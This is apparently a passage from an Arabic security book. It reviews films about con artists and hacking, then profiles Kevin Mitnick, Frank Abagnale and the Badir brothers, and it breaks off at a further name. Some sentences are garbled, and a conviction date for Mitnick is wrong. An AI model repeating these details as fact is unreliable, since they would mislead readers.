‫ﺷﺧﺻﯾﺔ ﻣﺎﯾﻛل ﻛﯾن ﻓﻲ )ﻟوراﻧس ﺟﺎﻣﯾﺳون( ھو ﻣﺷﻐل ﺳﻠس ﯾﻘوم ﺑﺧداع اﻟﻧﺳﺎء اﻟﺛرﯾﺎت ﻣن ﻣﺑﺎﻟﻎ ﻛﺑﯾرة ﻣن اﻟﻣﺎل ﻣن ﺧﻼل اﻧﺗﺣﺎل ﺷﺧﺻﯾﺔ‬
‫ذﻛﯾﺔ وﻣﺗﻘﻧﺔ‪ .‬ﺷﺧﺻﯾﺔ ﺳﺗﯾف ﻣﺎرﺗن )ﻓرﯾدي ﺑﻧﺳون( أﯾﺿﺎ ﯾﻘوم ﺑﺳﻠب اﻟﻣﺎل ﻣن اﻟﻧﺳﺎء‪ ،‬وﻟﻛن ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم أﻗل ﻣن اﻷﺳﺎﻟﯾب اﻟﻣﺗطورة‪.‬‬
‫اﻟرﺟﻼن ﺳرﻋﺎن ﻣﺎ ﯾدرﻛﺎ أن اﻟﻣدﯾﻧﺔ ﻟﯾﺳت ﻛﺑﯾرة ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﻛﻠﯾﮭﻣﺎ ﻓﺎﺗﻔﻘﺎ ﻋﻠﻰ رھﺎن‪ .‬أول واﺣد ﯾﻧﺟﺢ ﻓﻲ ﺧداع اﻣراه ﻣن أﺻل اﻷﻣرﯾﻛﯾﺔ‬
‫ﻟﻘﺑت "ﺑﻣﻠﻛﺔ اﻟﺻﺎﺑون" ﺳوف ﺗزور اﻟﺑﻠدة وﯾﺄﺧذ ﻣﻧﮭﺎ ‪ 50‬أﻟف دوﻻ ﺳوف ﯾﺑﻘﻰ‪ ،‬اﻣﺎ اﻻﺧر ﺳوف ﯾرﺣل‪ .‬ﺗم إﻋﺎدة ﺻﻧﺎﻋﺔ ﻣﺛل ھذا اﻟﻔﯾﻠم‬
‫ﺑﺎﻟﻠﻐﺔ اﻟﻌرﺑﯾﺔ )طﺄطﺄ وﻣﺎرﯾﻛﺎ وﻛﺎظم ﺑك(‪ .‬ﯾﺗﺿﻣن ھذا اﻟﻔﯾﻠم ﻣﺟﻣوﻋﺔ ﻣﺗﻧوﻋﺔ ﻣن اﻷﻣﺛﻠﺔ ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟدﻋم‬
‫ﻋﻣﻠﯾﺔ اﻻﺣﺗﯾﺎل‪ ،‬أي اﻟﻧﺻب ﻣن أﺟل اﻟﻣﺎل‪ .‬ﻛﻼ ﻣن اﻟرﺟﻠﯾن اﻟﻣﺧﺎدﻋﯾن ﯾﻣﯾﻼ إﻟﻰ اﻟﺗرﻛﯾز ﻋﻠﻰ اﻟﺗﻼﻋب ﺑﺿﺣﺎﯾﺎھم ﻣن ﺧﻼل اﻻﺳﺗﻔﺎدة ﻣن‬
‫اﻟﺣﺎﻻت اﻟﻌﺎطﻔﯾﺔ‪ ،‬اﻟﺗﻲ ﯾﺧﺗﺎروﻧﮭﺎ‪ .‬ﯾوﺿﺢ ﻣﺷﮭد ﻣﻌﯾن ﺑوﺿوح ﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﻟﺗﻼﻋب اﻟﻌﺎطﻔﯾﺔ ﺧﻔﯾﺔ ﻓﻲ إﺣداث ﺗﺄﺛﯾر ﻛﺑﯾر‪.‬‬
‫‪) :The Imposter‬ذا اﯾﻣﺑوﺳﺗر( ﻓﯾﻠم ﺑرﯾطﺎﻧﻲ إﺻدار ﻋﺎم ‪ 2012‬ﻟﻠﻣﺧرج ﺑﺎرت ﻻﯾﺗون‪ .‬ﺗدور ﻗﺻﺔ اﻟﻔﯾﻠم ﺣول ﻗﺻﺔ وﺛﺎﺋﻘﯾﺔ ﺣﻘﯾﻘﯾﮫ ﻋن‬
‫ﺷﺎب ﻓرﻧﺳﻲ ﯾﺧدع ﻋﺎﺋﻠﺔ ﻣن ﺗﻛﺳﺎس ﺑﺄﻧﮫ ھو اﺑﻧﮭم ذو اﻟـ ‪ 16‬ﻋﺎﻣﺎ ً واﻟذي ﻓﻘدوه ﺗﻣﺎﻣﺎ ﻟﻣدة ‪ 3‬ﺳﻧوات‪ .‬ﯾﺗﺿﻣن اﻟﻔﯾﻠم دراﻣﺎ ﻣن اﻷﺣداث‬
‫اﻟﻔﻌﻠﯾﺔ‪ ،‬وﻣﻘﺎﺑﻼت ﻣﻊ اﻟﻌﺎﺋﻠﺔ‪ ،‬وﻣﻘﺎﺑﻼت ﻣﻊ ‪ Fre'de'ric‬ﻧﻔﺳﮫ واﻟﺷرﯾط اﻷﺻﻠﻲ ﻣن اﻟوﻗت‪.‬‬
‫ﺣرا أو ﻣت ﺑﺻﻌوﺑﺔ( ﻓﯾﻠم اﺻدار ﻋﺎم ‪ 2007‬ﯾﺑرز ﻓﯾﻠم اﻟﺣرﻛﺔ ذاﺋﻊ اﻟﺻﯾت ﻣن ﺑطوﻟﺔ ﺑروس‬ ‫‪) :Live Free or Die Hard‬ﻋش ً‬
‫وﯾﻠﯾس‪ ،‬اﻟﻛﺛﯾر ﻣن اﻟﻣﺷﺎھد اﻟﺣوارﯾﺔ اﻟﻣﺿﺣﻛﺔ ﻋن أﻣن اﻟﻔﺿﺎء اﻻﻟﻛﺗروﻧﻲ وﯾﺳﺗﺧدم ﺑﻛﺛﺎﻓﺔ ﻣواﺿﯾﻊ اﻟﻘرﺻﻧﺔ ﻓﻲ اﻟﺣﺑﻛﺔ‪ .‬ﺑﺎﻟرﻏم ﻣن أن‬
‫اﻟﻛﺛﯾر ﻣن اﻟﺧدع اﻟﺗﻲ ﺗم ﺗﺻوﯾرھﺎ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل اﻟدﺧول ﻋن ﺑﻌد إﻟﻰ اﻟدواﺋر اﻟﺗﻠﯾﻔزﯾوﻧﯾﺔ اﻟﻣﻐﻠﻘﺔ‪ ،‬واﻟﺗﺣﻛم ﻓﻲ إﺷﺎرات اﻟﻣرور‪ ،‬ﻣن‬
‫اﻟﻣﻣﻛن أن ﺗﺣدث ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن‪ ،‬إﻻ أﻧﮫ ﻣن اﻟﺻﻌب ﺟدًا أن ﯾﺗم ﻋﻣل ﺟﻣﯾﻊ ھذه اﻷﻣور‪ ،‬ﺧﺎﺻﺔً ﻓﻲ اﻟوﻗت اﻟﻣﻧﺎﺳب وﺑﻣﺛل ھذا اﻟﺗﺳﻠﺳل‬
‫اﻟﻣﺣﻛم ﻓﻲ اﻷﺣداث‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻓﺈﻧﮫ ﻣن اﻟﺻﻌب أن ﯾﺗم ﺗﻔﺟﯾر ﺷﻲء ﻣﺎ ﻋن ﺑﻌد ﺑﺎﺳﺗﺧدام اﻻﻧﺗرﻧت‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن وﺟود أﻣﺛﻠﺔ ﻋن‬
‫ﺑراﻣﺞ ﺧﺑﯾﺛﺔ ﺗﺳﺗطﯾﻊ أن ﺗُﻌطل ﻣﺻﺎﻧﻊ ﺣﻘﯾﻘﯾﺔ‪ ،‬ﻓﺈﻧﮭﺎ ﻟﯾﺳت اﻟطرﯾﻘﺔ اﻷﻛﺛر ﻋﻣﻠﯾﺔ ﻟﻧﺳف وﺗﻔﺟﯾر اﻷﺷﯾﺎء‪ ،‬ﺧﺎﺻﺔً إذا ﻣﺎ ﺗم ذﻟك ﻓﻲ اﻟوﻗت‬
‫اﻟﻣﻧﺎﺳب‪ .‬وﻣﻊ ذﻟك‪ ،‬ﻓﺈن اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ اﻟﺣﯾوﯾﺔ ﺗﺗطﻠب ﺗوﻓﯾر اﻟﺣﻣﺎﯾﺔ ﺿد ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ‪ ،‬وھﻧﺎ ﯾﺗوﺟب ﻋﻠﯾﻧﺎ ﺗوﺟﯾﮫ اﻟﺷﻛر ﻟﺑروس وﯾﻠﯾس‬
‫ﻋﻠﻰ ﻟﻔت اﻧﺗﺑﺎه اﻟﺟﻣﮭور ﻟﮭذه اﻟﺣﻘﯾﻘﺔ‪.‬‬
‫‪ :Skyfall‬ھو اﻟﻔﯾﻠم اﻟﺛﺎﻟث واﻟﻌﺷرون ﻟﺳﻠﺳﻠﺔ أﻓﻼم ﺟﯾﻣس ﺑوﻧد اﺻدار ﻋﺎم ‪ 2012‬ﻟﻠﻣﺧرج ﺳﺎم ﻣﯾﻧدﯾز‪ .‬ﻣن وﺟﮭﺔ ﻧظر ﻣﮭوﺳﻲ اﻟﻛﻣﺑﯾوﺗر‪،‬‬
‫ﻓﺈن ھذا اﻟﻔﯾﻠم ﻻ ﯾﻣﻛن ﻧﺳﯾﺎﻧﮫ ﺑﻔﺿل ﻣﺎ ﻗدﻣﮫ ﻣن ﺗﻔﺟﯾرات ﺻﻌﺑﺔ اﻟﺗﻧﻔﯾذ واﻟﺗﻲ ﯾﺗم اﻟﺗﺣﻛم ﻓﯾﮭﺎ ﺑﺎﺳﺗﺧدام ﺷﺑﻛﺔ اﻻﻧﺗرﻧت‪ ،‬وﻋﺎﻣﺔً ﺑﺳﺑب اﻟﻔﻛرة‬
‫اﻟﺻﺣﯾﺣﺔ ﻋن أن ﺳرﻗﺔ اﻟﻣﻌﻠوﻣﺎت ﺷدﯾدة اﻟﺳرﯾﺔ ﺗﺣدث ﻋﺑر اﻻﻧﺗرﻧت‪ ،‬وﻟﯾس ﻋن طرﯾﻖ اﻟﺳﻼﻟم اﻟﺗﻲ ﯾﺗﺧﻔﻰ وراءھﺎ اﻟﺟواﺳﯾس ﻣن ﻣوظﻔﻲ‬
‫اﻷﻣن‪ .‬ﻛﻣﺎ ﯾﺣﺗوي اﻟﻔﯾﻠم ﻋﻠﻰ ﻣﺷﺎھد أﺧرى ﻣﺳﻠﯾﺔ ﻣﺛل ﻣﻘرات ﻋﻣﻠﯾﺎت اﻟﻘرﺻﻧﺔ اﻟﻣﺻﻣﻣﺔ ﺑﺷﻛل ﻣﺿﺣك ﻓﻲ ﺟزﯾرة ﻣﻘﻔرة‪ .‬ﻓﻔﻲ اﻟﺣﻘﯾﻘﺔ‪ ،‬ﻻ‬
‫ﺗوﺟد ﻓﺎﺋدة ﻣن ﺑﻧﺎء ﻣرﻛز ﻟﻠﺑﯾﺎﻧﺎت ﻋﻠﻰ ﺟزﯾرة ﻣﻌزوﻟﺔ ﻓﻲ آﺳﯾﺎ‪ ،‬ﺣﯾث ﯾﻣﻛن ﺗﺗﺑﻌﮭﺎ ﺑﺳﮭوﻟﺔ‪ ،‬ﻛﻣﺎ أن ﺗوﻓﯾر ﻧطﺎق وﻣدى واﺳﻊ ﻣن اﻟﺗرددات‬
‫أﻣرا ﺻﻌﺑًﺎ‪ .‬ﻓﺎﻟﻘراﺻﻧﺔ اﻟﺣﻘﯾﻘﯾون ﯾﻘوﻣون ﺑﺗﺄﺟﯾر ﻣراﻛز اﻟﺣوﺳﺑﺔ اﻟﻼزﻣﺔ ﻓﻲ اﻟﻣدن اﻟﻛﺑﯾرة‪ ،‬ﺧﺎﺻﺔً ﻓﻲ أﺳﯾﺎ‪ .‬إن اﻟﻌزﻟﺔ اﻟﻣﺎدﯾﺔ‬ ‫ﻟﮭﺎ ﯾﻛون ً‬
‫أﻣرا ﺿرورﯾًﺎ وذﻟك ﻷن ﻋﻣﻠﯾﺎت اﻟﺣﻣﺎﯾﺔ اﻟﻣﮭﻣﺔ ﯾﺗم ﺗوﻓﯾرھﺎ ﻋن طرﯾﻖ ﻋﻣﻠﯾﺎت اﻟﺗﺷﻔﯾر‪.‬‬ ‫ﻟﯾﺳت ً‬
‫‪) : Catch Me If You Can‬أﻣﺳﻛﻧﻲ ﻟو اﺳﺗطﻌت( ﻓﯾﻠم أﻣرﯾﻛﻲ ﻣن إﻧﺗﺎج ﺳﻧﺔ ‪ 2002‬وإﺧراج ﺳﺗﯾﻔن ﺳﺑﯾﻠﺑرغ وﺑطوﻟﺔ ﻟﯾوﻧﺎردو دي‬
‫ﻛﺎﺑرﯾو وﺗوم ھﺎﻧﻛس‪ .‬اﻟﻔﯾﻠم ھو اﻟﻘﺻﺔ اﻟﺣﻘﯾﻘﺔ ﻷﺻﻐر اﻟﻣوﺿوﻋﯾن ﻋﻠﻰ ﻻﺋﺣﺔ اﻟﻣطﻠوﺑﯾن ﻟﻠﻣﺑﺎﺣث اﻟﻔﯾدراﻟﯾﺔ ﻓراﻧك أﺑﺎﻏﻧﯾل‪ .‬ﺗدور أﺣداث‬
‫اﻟﻔﯾﻠم ﺣول اﻟﻔﺗﻰ ﻓراﻧك اﺑﯾﻐﻧﺎﯾل ﻟﯾوﻧﺎردو دي ﻛﺎﺑرﯾو اﻟذي ﯾﮭرب ﻣن ﺑﯾت ﻋﺎﺋﻠﺗﮫ وھو ﻓﻲ ﺳن اﻟﺳﺎدﺳﺔ ﻋﺷر‪ .‬وﯾﻌﺗﻣد ﻋﻠﻰ ﻣﮭﺎرﺗﮫ ﻓﻲ ﺗزوﯾر‬
‫اﻟﺷﯾﻛﺎت اﻟﻣﺧﺗﻠﻔﺔ‪ .‬ﯾﺳﺗﺧدم ﻓراﻧك ھذه اﻟﻣﮭﺎرات ﻓﻲ ﺗﺣﺻﯾل أﻛﺛر ﻣن ‪ 2.5‬ﻣﻠﯾون دوﻻر‪ .‬ﺧﻼل ﻋﻣﻠﯾﺎت اﻟﺗزوﯾر ﻧﺟد اﻟﺿﺎﺑط اﻟﻔﯾدراﻟﻲ ﻛﺎرل‬
‫ھﻧراﺗﻲ ﺗوم ھﺎﻧﻛس ﯾطﺎرد ﻓراﻧك ﻓﻲ ﻣطﺎردات دوﻟﯾﺔ وﻟﻛﻧﮫ ﯾﺟد ﻧﻔﺳﮫ ﻣﺗﺄﺧرا ﺧطوه ﻋﻧﮫ داﺋﻣﺎ‪ .‬ﺣﺗﻰ ﯾﺳﺗطﻊ اﻟﻘﺑض ﻋﻠﯾﺔ وﯾﻧﺿم ﺑﻌدھﺎ ﻓراﻧك‬
‫ﻟﻠﻣﺑﺎﺣث اﻟﻔﯾدراﻟﯾﺔ ﻟﻼﻣﺳﺎك ﺑﻣزورى اﻟﺷﯾﻛﺎت‪ .‬ﯾﻌطﻰ أﻓﺿل اﻷﻣﺛﻠﺔ ﻋن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪) :The Italian Job‬اﻟﻣﮭﻣﺔ اﻹﯾطﺎﻟﯾﺔ( ھو ﻓﯾﻠم ﺟرﯾﻣﺔ أُﺻدر ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﺳﻧﺔ ‪ .2003‬اﻟﻔﯾﻠم ﻣن إﺧراج إف ﻏﺎري ﻏراي‪ .‬ﯾﺑدأ‬
‫اﻟﻔﯾﻠم ﺑﻌﻣﻠﯾﺔ ﺳرﻗﺔ ﺿﺧﻣﺔ ﻓﻲ ﻣدﯾﻧﺔ ﻓﯾﻧﯾﺳﯾﺎ اﻹﯾطﺎﻟﯾﺔ‪ .‬ﯾﻘودھﺎ اﻟﻠص اﻟﻣﺧﺿرم ﺟون )دوﻧﺎﻟد ﺳﺛرﻻﻧد( اﻟذي ﯾرﯾدھﺎ أن ﺗﻛون آﺧر ﻋﻣﻠﯾﺔ ﺳرﻗﺔ‬
‫ﯾﻘوم ﺑﮭﺎ‪ .‬وﯾﻌﺎوﻧﮫ ﻓﯾﮭﺎ اﻟﻠص اﻟﺷﺎب ﺗﺷﺎرﻟﻲ )ﻣﺎرك واﻟﺑﯾرغ( وﻣﻌﮫ ﻣﺟﻣوﻋﺔ أﺧرى ﻣن اﻟﻠﺻوص ﻣﺧﺗﻠﻔﻲ اﻟﺗﺧﺻﺻﺎت‪ .‬ﺗﺗم اﻟﻌﻣﻠﯾﺔ ﺑﻧﺟﺎح‪،‬‬
‫وﻟﻛن ﻣﺎ ﻟم ﯾﻛن اﻟﺟﻣﯾﻊ ﯾﺣﺳب ﺣﺳﺎﺑﮫ ھو أن ﯾﺧوﻧﮭم أﺣد أﻋﺿﺎء اﻟﻔرق ﺳﺗﯾف )إدوارد ﻧورﺗون(‪ ،‬ﻓﯾﺳرق ﻛل اﻷﻣوال ﻟﻧﻔﺳﮫ‪ ،‬ﺑل وﯾﺗﺳﺑب ﻓﻲ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪790‬‬

‫ﻣوت ﺟون‪ .‬ﯾﻘرر أﻋﺿﺎء اﻟﻔرﯾﻖ أن ﯾﺟﺗﻣﻌوا ﻣﺟددا ﻟﻼﻧﺗﻘﺎم ﻣﻣن ﺳرﻗﮭم وﻗﺗل ﻗﺎﺋدھم‪ ،‬ﻣﺳﺗﻌﯾﻧﯾن ﻓﻲ ذﻟك ﺑﺎﺑﻧﺗﮫ اﻟﺟﻣﯾﻠﺔ ﺳﺗﯾﻼ )ﺗﺷﺎرﻟﯾز‬
‫ﺛﯾرون(‪.‬‬

‫أﺷﮭر اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن )‪(FAMOUS SOCIAL ENGINEERS‬‬

‫ﻓﻲ ﻋﺎﻟم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻧﺎك ﻋدد ﻗﻠﯾل ﻣن اﻷﻓراد اﻟﺗﻲ وﻗﻔت ﺧﺎرﺟﺎ ﻣن اﻟﺣﺷد‪ ،‬ﻣﻣﺎ ﺟﻌل اﺳم ﻷﻧﻔﺳﮭم‪ .‬أﺻﺑﺢ ﺑﻌض ھؤﻻء اﻷﻓراد‬
‫اﻟﺷﮭرة ﻓﻲ اﻻﺳﺗﺧدام اﻹﯾﺟﺎﺑﻲ ﻟﻠﺗﻘﻧﯾﺎت‪ ،‬ﻣﻣﺎ ﯾﺳﺎﻋد ﻋﻠﻰ ﺗﺄﻣﯾن اﻟﺷرﻛﺎت وﺗﺛﻘﯾف اﻟﺟﻣﺎھﯾر‪ ،‬ﺑﯾﻧﻣﺎ اﻟﺑﻌض اﻵﺧر أﺻﺑﺢ ﺳﯾﺊ اﻟﺳﻣﻌﺔ ﻻﺳﺗﺧدام‬
‫اﻟﺗﻘﻧﯾﺎت ﻻرﺗﻛﺎب اﻟﺟراﺋم‪ .‬ﺳواء ﺗم أو ﻟم ﯾﺗم اﺳﺗﺧدام اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺟﯾدة أو ﺳﯾﺋﺔ ھؤﻻء اﻷﻓراد ﺗﺑﯾن ﺑوﺿوح ﻣﺎ ﯾﻣﻛن ﺗﺣﻘﯾﻘﮫ ﺑﺎﺳﺗﺧدام‬
‫ھذه اﻟﺗﻘﻧﯾﺎت‪.‬‬
‫‪) Kevin Mitnik‬ﻛﯾﻔﯾن ﻣﯾﺗﻧﯾك(‬

‫ﻛﺎن ﻛﯾﻔن ﻣﯾﺗﻧﯾك ﻋﻧد ﻧﻘطﺔ ﻓﻲ ﺣﯾﺎﺗﮫ أﻛﺛر ﻣﺟرﻣﻲ اﻟﻛﻣﺑﯾوﺗر اﻟﻣطﻠوﺑﯾن ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ .‬اﻟذﯾن ﺗﺗراوح أﻋﻣﺎرھم ﺑﯾن ‪ 16‬اﺳﺗﺧدم اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ وﺗﻘﻧﯾﺎت اﻟﻘرﺻﻧﺔ ﻓﻲ اﻗﺗﺣﺎم ﻧظﺎم اﻟﻛﻣﺑﯾوﺗر ﻟﻌﺷرات اﻟﺷرﻛﺎت‪ .‬وﻗﺎل اﻧﮫ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻻ ﺗﺣﺗﺎج إﻟﻰ اﺳﺗﺧدام أي وﺳﺎﺋل‬
‫ﺗﻘﻧﯾﺔ ﻻﻗﺗﺣﺎم اﻟﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﻗﺎل اﻧﮫ اﺳﺗﺧدام ﻣﺟﻣوﻋﺔ ﻣﺗﻧوﻋﺔ ﻣن أﺳﺎﻟﯾب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺧداع اﻟﻣﺳﺗﺧدﻣﯾن إﻟﻰ‬
‫اﻟﻛﺷف ﻋن أوراق اﻻﻋﺗﻣﺎد اﻟﻣطﻠوﺑﺔ أو أرﻗﺎم اﻟﮭﺎﺗف اﻟﺗﻲ ﯾﺣﺗﺎﺟﮭﺎ‪ .‬أدﯾن أوﻻ ﻓﻲ ﻋﺎم ‪ 1998‬وﺣﻛم ﻋﻠﯾﮫ ‪ 12‬ﺷﮭرا ﻓﻲ اﻟﺳﺟن ﻣﻊ ‪ 3‬ﺳﻧوات‪.‬‬
‫ﻓﻲ ﻧﮭﺎﯾﺔ اﻹﻓراج ﻋﻧﮫ ﺗﺣت إﺷراف اﺧﺗرق ﺑﻧﺟﺎح أﻧظﻣﺔ اﻟﺑرﯾد ‪ ،Pacific Bell‬ﻣﻣﺎ أدي إﻟﻰ اﻟﻘﺑض ﻋﻠﯾﮫ‪ .‬ﻛﯾﻔن ھرب‪ ،‬واﺳﺗﻐرق ﻋﺎﻣﯾن‬
‫وﻧﺻف ﺑﺎﻋﺗﺑﺎره ﻓﺎرا ﻣن وﺟﮫ اﻟﻌداﻟﺔ ﺣﺗﻰ ﺗم ﺗوﻗﯾﻔﮫ ﻓﻲ ‪ 15‬ﻓﺑراﯾر‪ ،‬ﻓﻲ وﻻﯾﺔ ﻛﺎروﻟﯾﻧﺎ اﻟﺷﻣﺎﻟﯾﺔ‪ .‬ﻋﻧدﻣﺎ اﻋﺗﻘل‪ ،‬ﻋﺛر ﻋﻠﯾﮫ ﻓﻲ ﺣوزة ھواﺗف‬
‫ﻣﺣﻣول ﻣﺳﺗﻧﺳﺧﺔ واﻟﻌدﯾد ﻣن أﺷﻛﺎل اﻟﮭوﯾﺔ اﻟﻣزورة‪ .‬واﺣد ﻣن اﻟﻌﻼﻣﺎت ﻓﻲ اﻻﺳﺗﺧدام اﻟﻣﻠﺣوظ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﻛﺗب "ﻓن اﻟﺧداع"‪،‬‬
‫"ﻓن اﻟﺗﺳﻠل" و "اﻟﺷﺑﺢ ﻓﻲ أﺳﻼك"‪ .‬ﻛﯾﻔن ﯾﻌﻣل اﻵن ﻛﻣﺳﺗﺷﺎر اﻷﻣن ﯾﺳﺎﻋد ﻟﻠدﻓﺎع ﺿد ﻣﺛل ھذه اﻟﮭﺟﻣﺎت‪.‬‬
‫‪) Frank Abagnale‬ﻓﺮاﻧﻚ أﺑﺎﻏﻨﯿﻞ(‬

‫ﻣن ﻣواﻟﯾد ‪ 27‬أﺑرﯾل ‪ ،1948‬ھو ﻣزور أﻣرﯾﻛﻲ ﺳﺎﺑﻖ‪ .‬أﺻﺑﺢ ﺷﮭﯾرا ﻓﻲ اﻟﺳﺗﯾﻧﺎت ﺑﺎﺳﺗﺧدام ﺷﯾﻛﺎت ﻣزورة ﻟﻠﺳﻔر ﻋﻠﻰ ﺣﺳﺎب ﺑﺎن أﻣﯾرﯾﻛﺎﻧز‬
‫أروﯾز‪ .‬ﺳﺎﻓر إﻟﻰ ‪ 26‬ﺑﻠدا ﻗﺑل ﺑﻠوغ ﺳن ‪ .19‬أوﺣت ﻗﺻﺗﮫ ﻓﯾﻠم ﺑﻌﻧوان أوﻗﻔﻧﻲ إن اﺳﺗطﻌت‪ ،‬اﻟﺗﻲ ﻗﺎﻣت ﻋﻠﻰ أﺳﺎس ﺳﯾرﺗﮫ‪ .‬ھذا اﻟﻌﻣل ﻟﯾس‬
‫ﺳﯾرة ذاﺗﯾﺔ ﺑﺣﻘﺎﺋﻖ ﺻﺣﯾﺣﺔ‪ ،‬وإﻧﻣﺎ ﻣﻣزوﺟﺔ ﺑﺷﻲء ﻣن ﺧﯾﺎل اﻟﺷﺑﺎب‪ .‬وھو ﯾﻌﻣل ﺣﺎﻟﯾﺎ ﻣﺳﺗﺷﺎرا ﻓﻲ ﻣﺟﺎل ﻣﻛﺎﻓﺣﺔ اﻟﻐش داﺧل ﺷرﻛﺗﮫ‪ ،‬أﺑﺎﻏﻧﯾل‬
‫وﺷرﻛﺎﺋﮫ‪ .‬ﺑرھن ﻋﻠﻰ اﻻﺳﺗﺧدام اﻻﺳﺗﺛﻧﺎﺋﻲ ﻟﻠﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻧﺗﺣل ﺻﻔﺔ طﯾﺎر‪ ،‬أﺳﺗﺎذ ﺟﺎﻣﻌﻲ‪ ،‬ﻣﺣﺎم وطﺑﯾب وھذا ﻏﯾض ﻣن‬
‫ﻓﯾض‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك ﻛﺎن ﻗد ﺻرﻓﮫ ﺑﻧﺟﺎح ‪ 2.5‬ﻣﻠﯾون دوﻻر ﻣن اﻟﺷﯾﻛﺎت اﻟﻣزورة ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم‪ .‬ھذه ﻣﺂﺛر أدى ﺣﺗﻣﺎ إﻟﻰ‬
‫اﻋﺗﻘﺎﻟﮫ ﻣن ﻗﺑل اﻟﺷرطﺔ اﻟﻔرﻧﺳﯾﺔ ﻓﻲ ﻋﺎم ‪ 1969‬وﻗﺿﻰ ﻋﻘوﺑﺎت ﻣﺗﻌددة ﻓﻲ ﻓرﻧﺳﺎ واﻟﺳوﯾد واﻟوﻻﯾﺎت اﻟﻣﺗﺣدة‪ .‬ﺧﻼل ھذا اﻟوﻗت ھرب ﺑﻧﺟﺎح‬
‫ﻣن اﻟﺳﺟن ﻓﻲ أﻛﺛر ﻣن ﻣﻧﺎﺳﺑﺔ واﺣدة‪ .‬ﻋﻧد إطﻼق ﺳراﺣﮫ ﺣﺎول اﻟﺗﻣﺳك ﺑﺳﻠﺳﻠﺔ ﻣن اﻷﻋﻣﺎل اﻟﻣﺷروﻋﺔ ﺣﯾث اﺳﺗﻔﺎدت اﻟﺷرﻛﺎت ﻣن ﻣﺎﺿﯾﮫ‬
‫اﻹﺟراﻣﻲ‪ ،‬ﻓﻲ إﻧﮭﺎء ﻋﻣﻠﮫ‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﻛﯾﻔن ﻣﯾﺗﻧﯾك‪ ،‬ﻓراﻧك ﯾﻌﻣل اﻵن ﻛﻣﺳﺗﺷﺎر اﻷﻣن ﺗﻘدﯾم اﻟﻣﺷورة ﻟﻠﺷرﻛﺎت ﺑﻣﺎ ﻓﻲ ذﻟك ﻣﻛﺗب‬
‫اﻟﺗﺣﻘﯾﻘﺎت اﻟﻔدراﻟﻲ‪.‬‬
‫‪Badir brothers‬‬

‫ﻓﻲ ﻋﺎم ‪ 1999‬راﻣﻲ ﺑدﯾر‪ ،‬ﻣزھر ﺑدﯾر وﺷدﯾد ﺑدﯾر ﺗﻘدﻣت ﺿدھم ‪ 44‬ﻣن اﻟﺗﮭم اﻟﻣوﺟﮭﺔ ﺿدھم ﺑﺗﮭﻣﺔ ارﺗﻛﺎب ﺟراﺋم ﻣﺛل اﻻﺣﺗﯾﺎل‬
‫اﻻﺗﺻﺎﻻت واﻟﻛﻣﺑﯾوﺗر وﺳرﻗﺔ اﻟﺑﯾﺎﻧﺎت واﻧﺗﺣﺎل ﺻﻔﺔ ﺿﺎﺑط ﺷرطﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن ﻛوﻧﮭم أﻋﻣﻰ ﻣﻧذ اﻟوﻻدة ھؤﻻء اﻹﺧوة اﻟﺛﻼﺛﺔ اﺳﺗﺧدﻣوا‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وأﺳﺎﻟﯾب اﻟﻘرﺻﻧﺔ ﻟﺧداع ﺑﻘدر ‪ 2‬ﻣﻠﯾون دوﻻر ﻣن ﺿﺣﺎﯾﺎھم‪ .‬اﻷﺧوﯾن ﻟدﯾﮭم ﺣﺎﺳﺔ اﻟﺳﻣﻊ ﻗوﯾﺔ ﺑﺷﻛل ﻻ ﯾﺻدق‪ ،‬وﻣﮭﺎرات‬
‫اﻟﺑرﻣﺟﺔ وﻗدرة ﺧﺎرﻗﺔ ﻓﻲ اﻧﺗﺣﺎل ﻣﺟﻣوﻋﺔ واﺳﻌﺔ ﻣن اﻟﺷﺧﺻﯾﺎت ﺟﻌﻠﮭﺎ ﻗوة ﻻ ﯾﺳﺗﮭﺎن ﺑﮭﺎ ﻋﻠﻰ ﺧطوط اﻟﮭﺎﺗف‪.‬‬
‫‪Chris Hadnagy‬‬

